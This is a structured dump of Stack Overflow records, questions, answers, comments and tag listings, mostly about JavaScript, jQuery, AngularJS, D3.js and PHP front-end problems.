has text: Why? Because `strcat()` is expensive. Do not use it in a (extensive long) loop. This is true for most of the members of the `str*()`-family of functions. Optimising code for use-cases as yours needs different approaches in C. See *pmg*'s answer for a possible approach: http://stackoverflow.com/a/25629106/694576
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25629012
type: Comment

http://stackoverflow.com/comment/40045125
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25630556
type: Comment
has text: But this prevents default on all inputs, lets say if user enters 3 I don't want to alert odd number when user enters 4 I want to alert this value.

http://stackoverflow.com/a/25659069
answers question: http://stackoverflow.com/q/25658985
downvote count: 0
score: 1
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40100202
has comment: http://stackoverflow.com/comment/40098042
has body: Try following, $('table').click(function(event){ // The event.target property returns which DOM element triggered the event. // var elem = event.target.nodeName; // use this value to display in your way. }) Demo
has comment: http://stackoverflow.com/comment/40098633

http://stackoverflow.com/comment/40104790
type: Comment
type: AnswerComment
score: 0
has text: Found a trigger in a tag inside a php file. Thanks!
comment on: http://stackoverflow.com/a/25662015

http://stackoverflow.com/q/25620544
tagged with: drag
score: 2
type: AnsweredQuestion
downvote count: 0
possible better answer: http://stackoverflow.com/a/25622659
accepted answer: http://stackoverflow.com/a/25641704
type: Question
upvote count: 2
answer count: 2
has body: Here is a sample of the D3.js visualization that I am working on right now: Here, the grey circle is the SVG container. I would like to limit the drag of the green bubbles to the grey circle boundary. I found this example and I used it in my code, but I got two errors: Uncaught TypeError: Cannot read property 'apply' of undefined // points to d3.v3.min.js:3 Uncaught TypeError: Cannot read property 'each' of undefined // points to line X marked in the code below It seems I cannot use .call(drag) with Force Layout. How do I get this working? jsFiddle JS: var data = { name: "layout", children: [ {name: "AxisLayout", size: 6725}, {name: "BundledEdgeRouter", size: 3727}, {name: "CircleLayout", size: 9317}, {name: "CirclePackingLayout", "size": 12003}, {name: "DendrogramLayout", "size": 4853}, {name: "ForceDirectedLayout", "size": 8411}, {name: "IcicleTreeLayout", "size": 4864}, {name: "IndentedTreeLayout", "size": 3174}, {name: "Layout", "size": 7881}, {name: "NodeLinkTreeLayout", "size": 12870}, {name: "PieLayout", "size": 2728}, {name: "RadialTreeLayout", "size": 12348}, {name: "RandomLayout", "size": 870}, {name: "StackedAreaLayout", "size": 9121}, {name: "TreeMapLayout", "size": 9191} ] }; var margin = { top: 0, right: 0, bottom: 0, left: 0 }, width = 400 - margin.left - margin.right, height = 400 - margin.top - margin.bottom; var n = data.children.length, m = 1, padding = 6, radius = d3.scale.sqrt().range([0, 12]), color = d3.scale.category10().domain(d3.range(m)), x = d3.scale.ordinal().domain(d3.range(m)).rangePoints([0, width], 1); var nodes = d3.range(n).map(function () { var i = Math.floor(Math.random() * m), //color v = (i + 1) / m * -Math.log(Math.random()); //value return { radius: radius(v), color: color(i), cx: x(i), cy: height / 2, }; }); nodes.forEach(function(item, index){ item.radius = 20; }); //console.dir(nodes); var force = d3.layout.force() .nodes(nodes) .size([width, height]) .gravity(0) .charge(0) .on("tick", tick) .start(); var svg = d3.select("…
tagged with: javascript
has answer: http://stackoverflow.com/a/25641704
favorite count: 0
has answer: http://stackoverflow.com/a/25622659
tagged with: http://stackoverflow.com/tag/svg
has title: Limit drag movements to a circular SVG boundary
tagged with: d3.js

http://stackoverflow.com/comment/40108542
comment on: http://stackoverflow.com/a/25665962
type: Comment
has text: Actually, we do not need any 3d visualization, and these libraries do not have charting functions. But thanks for the answer anyway.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25697425
answers question: http://stackoverflow.com/q/25697296
has comment: http://stackoverflow.com/comment/40166341
upvote count: 1
has body: with filter jQuery will find all matching elements in the order the exist in the DOM.. You could redo your code to first find the foo set then add the bar set, but you would have to implement something like in this example. How to preserve order of items added to jQuery matched set?
type: AcceptedAnswer
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25697296
score: 1

http://stackoverflow.com/a/25654074
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/25654047
accepted answer of: http://stackoverflow.com/q/25654047
has comment: http://stackoverflow.com/comment/40087478
has body: Updated answer: Re your comment: The one on the outside, I'd like alertFoo to hoisted Well, you can do this: function alertFoo() { var foo = 'bar'; doTheAlert(); function doTheAlert() { alert(foo); } } ...but I can't imagine that really suits your needs. Other than that, no, you can't get it hoisted. Original answer: Yes, you can declare the function within the function expression, like this: var alertFoo = (function() { var foo = 'bar'; return alertFoo; function alertFoo() { alert(foo); } }(); Or you can declare the scoping function and then call it, but then you create another symbol in the current scope: function scoping() { var foo = 'bar'; return alertFoo; function alertFoo() { alert(foo); } ) var alertFoo = scoping();
has comment: http://stackoverflow.com/comment/40087409
has comment: http://stackoverflow.com/comment/40087362
has comment: http://stackoverflow.com/comment/40087439
has comment: http://stackoverflow.com/comment/40087623
has comment: http://stackoverflow.com/comment/40087658
score: 4
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/40087534

asynchronous
tags question: http://stackoverflow.com/q/25625406
tags question: http://stackoverflow.com/q/25575802
tags question: http://stackoverflow.com/q/25659134
tags question: http://stackoverflow.com/q/25633909
tags question: http://stackoverflow.com/q/25579786
tags question: http://stackoverflow.com/q/25686349
type: Tag
tags question: http://stackoverflow.com/q/25575934
tags question: http://stackoverflow.com/q/25695633
tags question: http://stackoverflow.com/q/25613158
tag name: asynchronous
tags question: http://stackoverflow.com/q/25617295
tags question: http://stackoverflow.com/q/25591071
tags question: http://stackoverflow.com/q/25614481
tags question: http://stackoverflow.com/q/25666404
tags question: http://stackoverflow.com/q/25674475
tags question: http://stackoverflow.com/q/25649068
tags question: http://stackoverflow.com/q/25697801
tags question: http://stackoverflow.com/q/25704045
tags question: http://stackoverflow.com/q/25598353
tags question: http://stackoverflow.com/q/25561388
tags question: http://stackoverflow.com/q/25694543
tags question: http://stackoverflow.com/q/25573990
tags question: http://stackoverflow.com/q/25566333
tags question: http://stackoverflow.com/q/25602653
tags question: http://stackoverflow.com/q/25587860
tags question: http://stackoverflow.com/q/25705067
tags question: http://stackoverflow.com/q/25638527

http://stackoverflow.com/comment/39941621
type: Comment
type: QuestionComment
has text: Don't make your divs inline, use spans and you'll be fine. http://jsfiddle.net/temxoqrd/
comment on: http://stackoverflow.com/q/25572964
score: 0

http://stackoverflow.com/comment/40030638
type: QuestionComment
has text: BTW: `user_id (or userId): this.get('session.user.id')` doesn't do the job.
type: Comment
comment on: http://stackoverflow.com/q/25622784
score: 0

http://stackoverflow.com/comment/39946569
has text: I'd strongly suggest using the future proof and cross platform viewport width instead of user agent string to detect where to add the script if you were to use a JavaScript based solution. Mobile phone !== iPhone.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25576798

http://stackoverflow.com/a/25621853
answers question: http://stackoverflow.com/q/25621776
downvote count: 0
type: Answer
upvote count: 1
has body: http://jslint.com/ You may have to tweak the options a bit otherwise you write VERY strict Crockford approved code which might otherwise have been desirable if you know what you are doing.
score: 1

http://stackoverflow.com/a/25625896
type: Answer
answers question: http://stackoverflow.com/q/25625750
score: 0
has comment: http://stackoverflow.com/comment/40124305
has body: you can use interceptor for disable requests angular.module('myApp') .factory('myInterceptor', function ($q) { var interceptor = { 'request': function (config) { if(config.method === 'OPTIONS') return; } }; return interceptor; }); and register it to the config angular.module('myApp') .config(function ($httpProvider) { $httpProvider.interceptors.push([ '$injector', function ($injector) { return $injector.get('myInterceptor'); } ]);
has comment: http://stackoverflow.com/comment/40078900
has comment: http://stackoverflow.com/comment/40084239

http://stackoverflow.com/q/25557937
tagged with: javascript
upvote count: 3
has answer: http://stackoverflow.com/a/48330970
answer count: 1
has body: I have a user uploaded file using AngularJS and like to manipulate the file contents using XML. However, I have a difficulty in the DOMParser recognising the text file. index.html upload me app.js myApp.controller('myCtrl', ['$scope', 'fileUpload', function($scope, fileUpload){ $scope.uploadFile = function(){ var file = $scope.myFile; reader = new FileReader(); reader.onload = function() { showout.value = this.result; txtFile = showout.value; console.log(txtFile); }; reader.readAsText(file); parser=new DOMParser(); xmldoc = parser.parseFromString(txtFile,"text/xml"); console.log(xmlDoc); In this example, the txtFile is correctly printed to the console, within the Reader.onLoad. However, xmlDoc shows as undefined. I should I be referencing the file and converting it so that it can be read by DOMParser? NOTE: if I replace txtFile in ... xmldoc = parser.parseFromString("bob","text/xml"), the code works. Thanks in advance.
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
tagged with: filereader
has title: Using FileReader & DOMParser in AngularJS
score: 3
downvote count: 0
type: Question
tagged with: domparser

http://stackoverflow.com/comment/40308142
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25700728
has text: Yes, I know I should share the code and ask a helpful question to get a helpful solution... however I can't legally do that without redacting which was already done (in case you didn't guess what with the vagueness and such). It will take me some time to pull it all out into a runnable/isolated MVCE as you mentioned. I'll try to do that in the next day or so though before the bounty expires... In the interim, if you or anyone knows about tried and true Session clearing methods built into JSF by the 1.1 spec, it may be a quicker solution. Surely there's a way to say Session.values.clear(); ?

http://stackoverflow.com/comment/40041479
comment on: http://stackoverflow.com/a/25560673
score: 0
type: Comment
has text: There are some cases in which you want the directive to execute some code self contained and then trigger some other code from the view controller ON IT'S OWN SCOPE, that usually happens when you are developing a library module and need a callback for that directive's logic. In that case you could use the scope type "&" to pass a function that will execute NOT in the directive but in the controller. That way you can execute a function of the controller in the directive, and be able to pass parameters from the directive to the controller. https://www.youtube.com/watch?v=mZGgNPTHc2Q
type: AnswerComment

http://stackoverflow.com/comment/39958414
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25583185
has text: Sorry ...i missed out the closing bracket...i have corrected it now
type: Comment

http://stackoverflow.com/a/25609565
score: 0
answers question: http://stackoverflow.com/q/25609133
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25609133
type: Answer
has body: You can do it using the _.omit lodash/underscore method to copy the object without the _id and __v fields: Test.findOne({_id: 123}, function(err, doc) { Test.create(_.omit(doc.toObject(), ['_id', '__v']), callback); });
has comment: http://stackoverflow.com/comment/40006111
has comment: http://stackoverflow.com/comment/40006032
has comment: http://stackoverflow.com/comment/40006136

http://stackoverflow.com/comment/39961122
comment on: http://stackoverflow.com/q/25584875
score: 1
has text: Your question isn't very clear. You could try a different approach and format your data differently to avoid that issue?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25656873
score: 12
type: AcceptedAnswer
downvote count: 0
upvote count: 12
type: Answer
accepted answer of: http://stackoverflow.com/q/25656667
has body: Use the print or printjson methods instead. These are used to emit just like console.log() within the shell: if (Pos) { longLat = Pos.split(" "); print("longLat"); // for debugging ---------------------------- printjson(longLat);
answers question: http://stackoverflow.com/q/25656667

http://stackoverflow.com/comment/89779801
type: AnswerComment
has text: You can also have a url like this: `url: "/:id?foo&bar"`
comment on: http://stackoverflow.com/a/25647714
type: Comment
score: 1

http://stackoverflow.com/q/25695778
has comment: http://stackoverflow.com/comment/40163805
type: Question
upvote count: 15
downvote count: 0
has body: I am trying to make an XHR with JavaScript, but I can't get it to work correctly. When I see the right requests in the "Network" tab of the Chrome developer tools I see that they have a "Form Data" section where are listed all the informations sent with the request, like this: Now, I've tried making my XMLHttpRequest in any way I know, but I can't get that result. I have tried this: var xhr = new XMLHttpRequest(), form_data = "data%5Btumblelog%5D=drunknight&data%5Bsource%5D=FOLLOW_SOURCE_REBLOG"; // this is uri encoded: %5b = [ and %5D = ] xhr.open('POST','https://www.somesite.com/page?' + form_data, false); xhr.send(); But I got this "Query String Parameters" instead of "Form Data": I have also tried this: var xhr = new XMLHttpRequest(), formData = new FormData(); formData.append("data[tumblelog]", "drunknight"); formData.append("data[source]", "FOLLOW_SOURCE_REBLOG"); xhr.open('POST','https://www.somesite.com/page', false); xhr.send(formData); But I got this "Request Payload" instead of "Form Data": And, finally, I have tried this: var xhr = new XMLHttpRequest(), formData = { "data[tumblelog]": "drunknight", "data[source]": "FOLLOW_SOURCE_REBLOG" }; xhr.open('POST','https://www.somesite.com/page', false); xhr.send(JSON.stringify(formData)); But I got another "Request Payload" instead of "Form Data": Now, my question is: how can I send my XMLHttpRequest in order to obtain the same result as shown in the FIRST image?
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25696008
tagged with: ajax
linked to: http://stackoverflow.com/q/1714786
has title: Sending XMLHttpRequest with FormData
answer count: 3
tagged with: form-data
tagged with: xmlhttprequest
has comment: http://stackoverflow.com/comment/40163742
score: 15
has answer: http://stackoverflow.com/a/25701405
possible better answer: http://stackoverflow.com/a/74554527
has answer: http://stackoverflow.com/a/74554527
has comment: http://stackoverflow.com/comment/40163543
accepted answer: http://stackoverflow.com/a/25701405
has comment: http://stackoverflow.com/comment/40163776
linked to: http://stackoverflow.com/q/45156413
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40163557

http://stackoverflow.com/comment/39904497
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25553220
has text: I don't think `document.ready` affects me here. This page is loaded as a module and this particular area of code is within an Ajax request `.done()` function. The data is pulled from an API as XML, parsed, and turned into a string which contains the HTML markup for the table being inserted. At this point, I have a large string of HTML being appended, and the `.highlight` class is included there as well as its `.parent()` and `.prev()`.
type: Comment

http://stackoverflow.com/a/25652471
has comment: http://stackoverflow.com/comment/40084185
has comment: http://stackoverflow.com/comment/40084505
has body: I would do it this only with CSS: #sign-up-form { display: none; } .members:hover #sign-up-form { display: block; }
has comment: http://stackoverflow.com/comment/40084210
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40084119
accepted answer of: http://stackoverflow.com/q/25652398
type: Answer
answers question: http://stackoverflow.com/q/25652398

http://stackoverflow.com/q/25576041
type: Question
has comment: http://stackoverflow.com/comment/39945240
has body: I am playing around a bit with Parse.com and I am trying to send HTML form's content to Parse.com I am kind of a Javascript noob so for some reason I cannot find a way to pass a variable I got from the form's input to Parse.com for processing. Here's my code: Insert your ingridient :
score: 0
has title: Passing form's input to Parse.com
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: parse-platform
has answer: http://stackoverflow.com/a/25576219
type: UnansweredQuestion

http://stackoverflow.com/comment/39921212
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25563405
has text: Whether or not you agree with my UX decisions isn't really the question and hardly relevant :)

http://stackoverflow.com/comment/40172645
type: AnswerComment
type: Comment
score: 1
has text: You are a genius sir. I was so focused on that x accessor, I didn't even realize I could do that on the "d" attribute. Thanks!
comment on: http://stackoverflow.com/a/25697382

http://stackoverflow.com/a/25692279
has body: i think it is good idea if you do like this: var app = angular.module("DB", []); app.controller("Controller", function($scope, $http) { $http.defaults.headers.common["Accept"] = "application/json"; $http.get('api_url'). success(function(data, status, headers, config) { $scope.thing = data.results; $scope.id=data.results[0].id; gameInfo(); }); }); var gameInfo=function(){ $http.get('api.com/game/'+$scope.id). success(function(data, status, headers, config) { $scope.newThing = data; }); }
answers question: http://stackoverflow.com/q/25692189
type: Answer
score: 0

http://stackoverflow.com/a/25586481
type: Answer
answers question: http://stackoverflow.com/q/25586257
downvote count: 0
score: 1
has body: another way to do this : $(this).append($('&lt;div /&gt;').attr({ 'id': idVariable, 'class': classVariable })); but now this snippet is reusable, you can put an id and any classes you want.
upvote count: 1

http://stackoverflow.com/comment/40136008
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25681032
type: AnswerComment
has text: Yes I really appreciate if you can ctwheels. It will be useful for others too.

http://stackoverflow.com/q/25688861
has comment: http://stackoverflow.com/comment/40150101
upvote count: 2
type: UnansweredQuestion
has title: How can I separate my HTML form submit from my JavaScript form update?
tagged with: php
has comment: http://stackoverflow.com/comment/40149809
score: 2
has comment: http://stackoverflow.com/comment/40150369
has comment: http://stackoverflow.com/comment/40149785
has body: I have a form surrounding a table on my page with the following layout: +-------------------------------------------------+ | FORM | | +-------------------------------------------+ | | | TABLE | | | | +---------------------------------------+ | | | | | | | THEAD | | | | | | | +---------------------------------------+ | | | | +---------------------------------------+ | | | | | | | TBODY | | | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | | row | ~ | ~ | ~ | ~ | | | | | +---------------------------------------+ | | | | +---------------------------------------+ | | | | | TFOOT | | | | | +---------------------------------------+ | | | +-------------------------------------------+ | | | | SUBMIT RESET | +-------------------------------------------------+ The form inputs are in the THEAD, and the previously submitted values are displayed within the TBODY below. When a user enters values in the form, and clicks "submit" or presses "enter" the form is, obviously, submitted. Also, when a user clicks on any cell within a row within the TBODY, I have JavaScript working that turns that row into an editable row. All static text is replaced with inputs, selects, and checkboxes. This is so a user can edit the data in-line. This is what the users wanted, so I must give it to them. I have tried jqGrid, but it will not work for what I am doing. Now, here is my issue. Obviously, when a user finishes editing a row and presses "enter" then entire form will submit. This is not the behavior I desire, because I have PHP behind the scenes looking for specific POST values; plus, I don't want the entire page to re-load, I want the AJAX to refresh the area for me. What I need is a way to separate a user pressing "enter" to update a row from a user pressing "enter" for an initial …
tagged with: forms
has comment: http://stackoverflow.com/comment/40149835
has comment: http://stackoverflow.com/comment/40150006
type: Question
has comment: http://stackoverflow.com/comment/40149933
linked to: http://stackoverflow.com/q/14542062
tagged with: javascript
has comment: http://stackoverflow.com/comment/40149893
has comment: http://stackoverflow.com/comment/40149900
has comment: http://stackoverflow.com/comment/40150473
has comment: http://stackoverflow.com/comment/40150221
has answer: http://stackoverflow.com/a/25688951
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40212047
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40149847
favorite count: 0
has comment: http://stackoverflow.com/comment/40149868
linked to: http://stackoverflow.com/q/8664486

ui-patterns
tags question: http://stackoverflow.com/q/25626085
tag name: ui-patterns
type: Tag

http://stackoverflow.com/comment/40168458
type: AnswerComment
has text: why do you say not clean?
comment on: http://stackoverflow.com/a/25698637
score: 0
type: Comment

http://stackoverflow.com/q/25604825
tagged with: javascript
answer count: 2
has answer: http://stackoverflow.com/a/25604851
has title: How to get only specific tags of elementsByClassName?
downvote count: 0
has answer: http://stackoverflow.com/a/25604859
favorite count: 0
possible better answer: http://stackoverflow.com/a/25604851
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25604859
upvote count: 1
type: Question
has body: value I'd like to extract all elements with class dates, but only the span elements. How would I have to modify the following JS: var elements = document.getElementsByClassName("dates"); //gets both div + span Finally I'd like to extract all text values of the span tags. I'm using the "old" getElementsByClassName to also support older browsers.

http://stackoverflow.com/a/25635451
has comment: http://stackoverflow.com/comment/40053769
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25635336
has body: Your id is in the wrong format. it should be "input#audience_Name-" + edit_id + ":checked". since you are using the jQuery :checked selector.

http://stackoverflow.com/comment/40132500
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25679159
has text: Hi t.niese I answered partly because another one is already answered by Manish sharma. You can follow that

http://stackoverflow.com/a/25709196
has comment: http://stackoverflow.com/comment/40194698
has body: The reason it does this is because sometimes the video encoder (whatever programme was used) places the video index at the end of the video file rather than at the beginning. This interferes with progressive download as the browser doesn’t know anything about the file until it has downloaded it and read that index. Run this program below on it, which will simply re-encode the file, placing the index at the beginning. http://renaun.com/blog/code/qtindexswapper/ Let me know if this helps.
type: Answer
score: 2
upvote count: 3
downvote count: 1
answers question: http://stackoverflow.com/q/25688845

http://stackoverflow.com/comment/40004463
type: Comment
comment on: http://stackoverflow.com/a/25602114
has text: http://jsfiddle.net/sab60wff/ this fiddle works fine now, url changes with controls. however, could you alter it so that the utubeFrame is a CLASS. Then i will accept it as a solution, thanks for your time so far
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40172955
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25700499
has text: It sounds like you're trying to compute the overall duration of a date range that's defined by a possibly overlapping collection of start/end date pairs. Is that correct?
type: Comment

http://stackoverflow.com/a/25705766
upvote count: 1
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25705741
has body: .value on the element return by the getElementById function
score: 1

http://stackoverflow.com/comment/40096526
score: 0
has text: @amit When I changed file to file[], it's warning me that, 'The values permitted for this attribute do not include []'.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25658898

http://stackoverflow.com/comment/40128919
score: 0
type: Comment
type: QuestionComment
has text: When did you add this bit of code?
comment on: http://stackoverflow.com/q/25677259

http://stackoverflow.com/comment/39949006
type: Comment
comment on: http://stackoverflow.com/q/25577658
type: QuestionComment
has text: @LJ_1102 Ok, just to prevent storing the entire files contents in memory?
score: 0

http://stackoverflow.com/q/25661414
possible better answer: http://stackoverflow.com/a/25662861
accepted answer: http://stackoverflow.com/a/25661890
has comment: http://stackoverflow.com/comment/40102110
has answer: http://stackoverflow.com/a/25662861
has comment: http://stackoverflow.com/comment/40100400
has comment: http://stackoverflow.com/comment/40100712
has body: This is similar to PHP generated content inside Javascript breaking script, however I'm not able to understand where I'm wrong. Here is the brief. I'm trying to output 10 strings from MySQL DB into a javascript array s, (s[1] to s[10]) (stored in one MySQL table under columns pt1 to pt1 - info so code is understandable to all). (Note $apos is just the apostrophe string - not a concern here). &lt;?php echo "&lt;script&gt;\n"; echo "var s = [];\n"; for($i=1;$i&lt;=10;$i++) { echo "s[".$i."] = ".$apos.$r['pt'.$i].$apos.";\n"; } echo "&lt;/script&gt;"; ?&gt; It produces the right code when I look at the source by 'View Source' in browser: &lt;script&gt; var s = []; s[1] = 'a'; s[2] = 'b'; . . s[10] = 'j'; &lt;/script&gt; However, this doesn't work as a script (meaning if I check in Google developer tools, and I click on content inside the 'script' tag elements, it is told to be 'text', and not 'script' in the bar below). However if I remove the PHP, and manually write the whole script the same way, it works just fine. I have tried removing the \n linebreaks in the PHP code, but still the same problem. Something in PHP is breaking the script. Can you help?
has title: Getting PHP data from MySQL DB inside script tag for use with Javascript
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40100590
tagged with: javascript
has comment: http://stackoverflow.com/comment/40101655
has comment: http://stackoverflow.com/comment/40100904
has answer: http://stackoverflow.com/a/25661890
has comment: http://stackoverflow.com/comment/40101025
has comment: http://stackoverflow.com/comment/40100802
linked to: http://stackoverflow.com/q/14660300
type: Question
has comment: http://stackoverflow.com/comment/40100366
tagged with: php
has comment: http://stackoverflow.com/comment/40102229
score: 0
answer count: 2

http://stackoverflow.com/a/25701049
has comment: http://stackoverflow.com/comment/40172830
has comment: http://stackoverflow.com/comment/40172579
score: 0
has comment: http://stackoverflow.com/comment/40172533
type: Answer
has comment: http://stackoverflow.com/comment/40172660
has comment: http://stackoverflow.com/comment/40172693
has comment: http://stackoverflow.com/comment/40172747
has comment: http://stackoverflow.com/comment/40172811
accepted answer of: http://stackoverflow.com/q/25700892
has comment: http://stackoverflow.com/comment/40172786
has comment: http://stackoverflow.com/comment/40172478
answers question: http://stackoverflow.com/q/25700892
has body: This is not the suggestive way of using a PJAX Call When you wanted to refresh a division, you must provide a valid identifier. Header and Footer elements are part of body, there is nothing called leaving out for header and footer. Alternatively, define a #id to your division to refresh &lt;body&gt; &lt;header&gt; &lt;/header&gt; &lt;div id="pjax-container"&gt; &lt;/div&gt; &lt;footer&gt; &lt;/footer&gt; &lt;/body&gt; Now provide a link like &lt;a href="/home" data-pjax="#pjax-container"&gt; I believe this could be found over the PJAX Documentation.
has comment: http://stackoverflow.com/comment/40172671
type: AcceptedAnswer

http://stackoverflow.com/comment/40078960
comment on: http://stackoverflow.com/q/25649318
score: 0
type: Comment
type: QuestionComment
has text: The issue is that I don't want the onchange() to execute at all if one of the buttons is clicked, but if the user clicks anywhere else, or tabs out of the field, then I want the onchange() function to run. However, it seems that the onchange(), blur(), etc is executing first.

http://stackoverflow.com/comment/40058832
comment on: http://stackoverflow.com/a/25638319
has text: The thing is this is the Edit page on which the radio buttons will populate according to the db values.I want to verify is the button checked is 2,5 or 8.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/113331866
type: QuestionComment
comment on: http://stackoverflow.com/q/25587762
score: 0
type: Comment
has text: in your case - document.getElementsByClassName('rateRecipe btns-one-small')[0].click(); - should work . I usually do this it works.

http://stackoverflow.com/comment/40055583
has text: @БлаговестТодоров add `checked` attribute to your checkbox and see it works or not
type: Comment
comment on: http://stackoverflow.com/a/25636619
score: 0
type: AnswerComment

http://stackoverflow.com/q/25687661
answer count: 3
has answer: http://stackoverflow.com/a/25688012
has answer: http://stackoverflow.com/a/25687698
type: UnansweredQuestion
tagged with: css
type: Question
has answer: http://stackoverflow.com/a/25687709
tagged with: javascript
tagged with: jquery
has title: Action to element with same id
score: 0
has body: I need to call a function on items with the same Id with Jquery. I tried this: $(document).ready(function() { $('#example').each(function(){ this.dataTable(); }); } ); Fiddle

http://stackoverflow.com/a/25570101
has comment: http://stackoverflow.com/comment/39935957
has comment: http://stackoverflow.com/comment/39937374
has comment: http://stackoverflow.com/comment/39933316
has comment: http://stackoverflow.com/comment/39936799
has comment: http://stackoverflow.com/comment/39937510
has comment: http://stackoverflow.com/comment/39936765
upvote count: 3
has comment: http://stackoverflow.com/comment/39933478
type: AcceptedAnswer
has body: You forgot to pass the event to the callback - jsFiddle $( "#files" ).bind('change', function(event) { var files = event.target.files; });
accepted answer of: http://stackoverflow.com/q/25569913
type: Answer
answers question: http://stackoverflow.com/q/25569913
has comment: http://stackoverflow.com/comment/39933930
score: 3
downvote count: 0

http://stackoverflow.com/a/25562169
type: Answer
has comment: http://stackoverflow.com/comment/47434328
score: 4
answers question: http://stackoverflow.com/q/25561829
upvote count: 4
has body: using Html helper @Html.TextBox("txtJoiningDate", Model.JoiningDate.Value ,"{0:MM/dd/yyyy}") In Model [DataType(DataType.Date)] [DisplayFormat(ApplyFormatInEditMode = true, DataFormatString = "{0:yyyy-MM-dd}")] public Nullable&lt;System.DateTime&gt; JoiningDate{ get; set; } This is works for me
downvote count: 0

http://stackoverflow.com/q/25702944
answer count: 1
tagged with: countdown
has comment: http://stackoverflow.com/comment/40175931
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25703248
accepted answer: http://stackoverflow.com/a/25703248
has comment: http://stackoverflow.com/comment/40176111
has title: js countdown break my angularjs code
type: AnsweredQuestion
upvote count: 0
has body: I'm little disapointed about my countdown function : /* countDowner */ var countDown = 5; function countDowner() { if (countDown &lt; 0) { $("#warning").fadeOut(2000); var countDown = 0; return; // quit } else { $scope.countDown_text = countDown; // update scope setTimeout(countDowner, 1000); // loop it again countDown--; // -1 } } $scope.countDown_text = countDown; countDowner(); i put it in a angularjs ctrl and it's break my code :/ there is an error but it's for other code. when i remove my countdown all is working good. what's wrong in my countdown ?
has comment: http://stackoverflow.com/comment/40176034
has comment: http://stackoverflow.com/comment/40176489
downvote count: 1
type: Question
tagged with: javascript
score: -1

http://stackoverflow.com/q/25709688
has answer: http://stackoverflow.com/a/25710027
upvote count: 0
has body: I am trying to fire a function on a click event using $(this) perhaps to capture the event and fire a function. I have tried various methods, but still getting error in firebug about SyntaxError: missing ) after argument list I would be grateful if someone could explain how to achieve this based on my code. Many thanks $(function() { $("#box_frtv").chosen({ width: "250px", max_selected_options: 1 }); $("#box_frtv").bind("chosen:maxselected", // Only want this function to fire onclick event. something like $(this).click( function() { $("#boxerror").freeow("ERROR", "sample error message", { classes: ["gray", "error"], autoHide: true }); }); }); UPDATED CODE still errors. $(function() { $("#box_frtv").chosen({ width: "250px", max_selected_options: 1 }); $("#box_frtv").bind("chosen:maxselected", // Only want this function to fire onclick event. something like $(this).click( function() { $("#boxerror").freeow("ERROR", "sample error message", { classes: ["gray", "error"], autoHide: true }); }); }); }); html Select Your Box(es) <?php do { ?> <option value="<?php echo $row_rs_fbrtv['boxref']; ?>"><?php echo $row_rs_fbrtv['boxref']; ?> <?php } while ($row_rs_fbrtv = mysql_fetch_assoc($rs_fbrtv)); $rows = mysql_num_rows($rs_fbrtv); if($rows > 0) { mysql_data_seek($rs_fbrtv, 0); $row_rs_fbrtv = mysql_fetch_assoc($rs_fbrtv); } ?>
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
score: -1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/40188388
answer count: 2
has answer: http://stackoverflow.com/a/25710039
has title: Function not firing using .click
downvote count: 1
has comment: http://stackoverflow.com/comment/40188629
has comment: http://stackoverflow.com/comment/40188879

http://stackoverflow.com/a/25609867
has body: you should use the : $('#collapse_function').on('show.bs.collapse', function() { alert('we Go SHOW'); }); $('#collapse_function').on('hide.bs.collapse', function() { alert('we Go Hide'); }); $('#collapse_function').on('shown.bs.collapse', function() { alert('we ARE SHOWN'); }); $('#collapse_function').on('hidden.bs.collapse', function() { alert('we ARE HIDDEN'); });
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25596623

http://stackoverflow.com/comment/40129520
has text: i want to do it inline using document.write
type: Comment
comment on: http://stackoverflow.com/a/25677590
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40011808
has text: Please show the data you are passing to render this template so we can see what the template has to work with and also the code for any relevant helpers.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25612707
type: Comment

http://stackoverflow.com/comment/40171163
comment on: http://stackoverflow.com/q/25699149
has text: You have 3 tabs and one car list for each tab, so I'm not quite sure what you expect.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25598158
